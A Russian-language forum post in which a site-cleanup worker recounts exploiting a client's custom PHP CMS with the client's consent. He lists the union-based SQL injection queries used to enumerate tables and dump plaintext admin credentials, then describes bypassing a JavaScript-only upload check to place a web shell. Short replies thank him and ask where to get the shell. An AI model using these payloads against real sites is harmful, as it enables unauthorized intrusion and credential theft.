Статья Как я смог взломать сайт по гайду на Codeby

qwerty_man

qwerty_man

Green Team
11.04.2019
35
61
Всем привет!

Эта статья посвящена форуму codeby.net, в частности статьям пользователя explorer. Напомню, периодически я зарабатываю тем, что чищу сайты после взлома.

Обратился очередной клиент. Диагноз - хроническое изменение содержимого index.php. Анализ файлов показал, что на этот раз это какая-то неизвестная самописная CMS на PHP. После непродолжительных поисков нашел страницу, где используются GET-запросы. Звезды совпали и я сразу вспомнил статьи вышеупомянутого пользователя и недавний SQL-challenge, в котором я безуспешно участвовал =)

1.png


По стандарту, пробуем кавычку и получаем следующее:

2.png


Уже интересно. Попробуем запрос без кавычки и сразу (чего мелочиться то) с попыткой определить количество столбцов:
Код:
details.php?ID=-1 order by 10 -- -
3.png


Вывело нужную ошибку и замечательно. Несколько запросов и в итоге имеем 8 столбцов. Попробуем найти название базы:
Код:
details.php?ID=-1 union select 1,2,database(),4,5,6,7,8 -- -
4.png


Не совсем то, что нужно. А если database() поставить вместо 5, а вместо 2 попробовать version() ? =)
Код:
details.php?ID=-1 union select 1,version(),3,4,database(),6,7,8 -- -
5.png


Класс. Имя и версия базы есть. Продолжаем пользоваться гайдом, увеличивая limit на 1 и узнаем имя таблиц в базе. Цель - что-то схожее с users. На 18-м шаге нашел таблицу user:

Код:
details.php?ID=-1 union select 1,table_name,3,4,database(),6,7,8 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 18,1 -- -
6.png


Смотрим название таблиц:
Код:
-1 union select 1,column_name,3,4,database(),6,7,8 from information_schema.columns where table_name='user' limit 0,1 -- -
Перебрали, у нас есть: user_id, name, user_name, password. Тащим:
Код:
details.php?ID=-1 union select 1,user_name,3,4,password,6,7,8 from user -- -
Тут скриншота не будет =) Все удалось, никаких хешей не использовалось, все в открытом виде, вдобавок логин совпадал с паролем. Замазал большую часть материалов, админка выглядит примерно так:

7.png


Далее везти не перестало. В системе управления обнаружился модуль с формами. Заглянем. Позволяет что-то загрузить на сервер. Пробуем загрузить .php и получаем ужасный alert:

8.png


Не беда. Тупо отрубаем javascript для этого сайта и… Шел на сервере…

9.png


Ну а дальше у нас практически God Mode:

10.png


На все ушло около часа, попутно я писал этот текст и делал скриншоты.

Дело sql-инъекций живет и, наверно, мне попался довольно простой пример, подтверждающий это. В инъекциях я совсем новичок, эксплуатировал данную уязвимость впервые и за это спасибо codeby.net и explorer лично!

P.S. Все события происходили на живом сервере и сайте, клиент согласие на поиск уязвимости дал, отчет о их наличии получил, претензий (вроде) не имеет, как будет закрывать дырки (или отверстия) - не знаю =)
 
explorer

explorer

Red Team
05.08.2018
784
1 691
Прекрасно, что мой труд пошёл в нужное русло, и нашёл реальное применение. Вижу здесь пример того, что человек вникал в статьи, а не просто пролистал. Дальнейших успехов!
 
pilot1994ar

pilot1994ar

Member
01.12.2019
21
2
Круть! Спасибо за статью!
 
parzival

parzival

New member
02.11.2018
2
0
Что у вас за шелл? Можно где такой найти?
 
lomini

lomini

Well-known member
10.12.2019
45
5
Тоже не понимаю , зачем делать руками , если есть автоматизация скульмапера , который все делает в разы быстрее и на автомате =)
 
Мы в соцсетях: